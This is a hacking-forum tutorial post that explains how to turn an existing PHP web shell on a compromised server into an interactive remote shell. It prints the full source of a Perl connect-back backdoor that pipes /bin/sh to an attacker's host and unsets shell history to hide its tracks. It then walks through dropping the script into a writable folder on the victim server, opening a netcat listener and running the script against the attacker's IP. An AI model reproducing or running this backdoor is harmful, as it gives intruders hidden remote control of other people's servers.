

Forum:[Hack Forums](#)

Thread: [Remote back connect from your PHP shell tutorial-zpx-netcat way](#)

Ramb0x - September 17, 2019, 5:10 am

When you have lets say PHP shell on the target box.

```
Code #!/usr/bin/perl
```

```
use IO::Socket;
```

```
#CONNECT BACKDOOR EDITED BY XORON
```

```
#lord@SlackwareLinux:/home/programing$ perl dc.pl
```

```
#--== ConnectBack Backdoor Shell vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==--
```

```
#
```

```
#Usage: dc.pl [Host] [Port]
```

```
#
```

```
#Ex: dc.pl 127.0.0.1 2121
```

```
#lord@SlackwareLinux:/home/programing$ perl dc.pl 127.0.0.1 2121
```

```
#--== ConnectBack Backdoor Shell EDITED BY XORON TURK?SH HACKER ==--
```

```
#
```

```
#[*] Resolving HostName
```

```
#[*] Connecting... 127.0.0.1
```

```
#[*] Spawning Shell
```

```
#[*] Connected to remote host
```

```
#bash-2.05b# nc -vv -l -p 2121
```

```
#listening on [any] 2121 ...
```

```
#connect to [127.0.0.1] from localhost [127.0.0.1] 32769
```

```
#--== ConnectBack Backdoor Shell EDITED BY XORON TURK?SH HACKER ==--
```

```
#
```

```
#--==Systeminfo==--
```

```
#Linux SlackwareLinux 2.6.7 #1 SMP Thu Dec 23 00:05:39 IRT 2004 i686 unknown unknown
```

```
GNU/Linux
```

```
#
```

```
#--==Userinfo==--
```

```
#uid=1001(xoron) gid=100(users) groups=100(users)
```

```
#
```

```
#--==Directory==--
```

```
#/root
```

```
#
```

```
#--==Shell==--
```

```
#
```

```
$system = '/bin/sh';
```

```
$ARGC=@ARGV;
```

```
print "--== ConnectBack Backdoor Shell EDITED BY XORON TURK?SH HACKER ==-- \n\n";
```

```
if ($ARGC!=2) {
```

```
    print "Usage: $0 [Host] [Port] \n\n";
```

```
    die "Ex: $0 127.0.0.1 2121 \n";
```

```
}
```

```
use Socket;
```

```
use FileHandle;
```

```
socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or die print "[-] Unable to
```

```

Resolve Host\n";
connect(SOCKET, sockaddr_in($ARGV[1], inet_aton($ARGV[0]))) or die print "[-] Unable to
Connect Host\n";
print "[*] Resolving HostName\n";
print "[*] Connecting... $ARGV[0] \n";
print "[*] Spawning Shell \n";
print "[*] Connected to remote host \n";
SOCKET->autoflush();
open(STDIN, ">&SOCKET");
open(STDOUT, ">&SOCKET");
open(STDERR, ">&SOCKET");
print "---== ConnectBack Backdoor Shell EDITED BY XORON TURK?SH HACKER ==-- \n\n";
system("unset HISTFILE; unset SAVEHIST;echo --==Systeminfo==--; uname -a;echo;
echo --==Userinfo==--; id;echo;echo --==Directory==--; pwd;echo; echo --==Shell==-- ");
system($system);
#EOF[*]

```

Save this onto writable folder on the server and name the file dc.pl.

Then on your box download first

Code <https://eternallybored.org/misc/netcat/>

[*]

And install. Then browse the dir for nc.exe.

1. Listen command on your box:

Code `nc -vv -l -p 1337`

[*]

2. On your server you run the dc.pl file with:

Code perl dc.pl your_box_ip 1337

[*]

And if you are not behind some super duper firewall and you have port 1337 open in your box you should see the new connection.

? ? ?

Have fun ?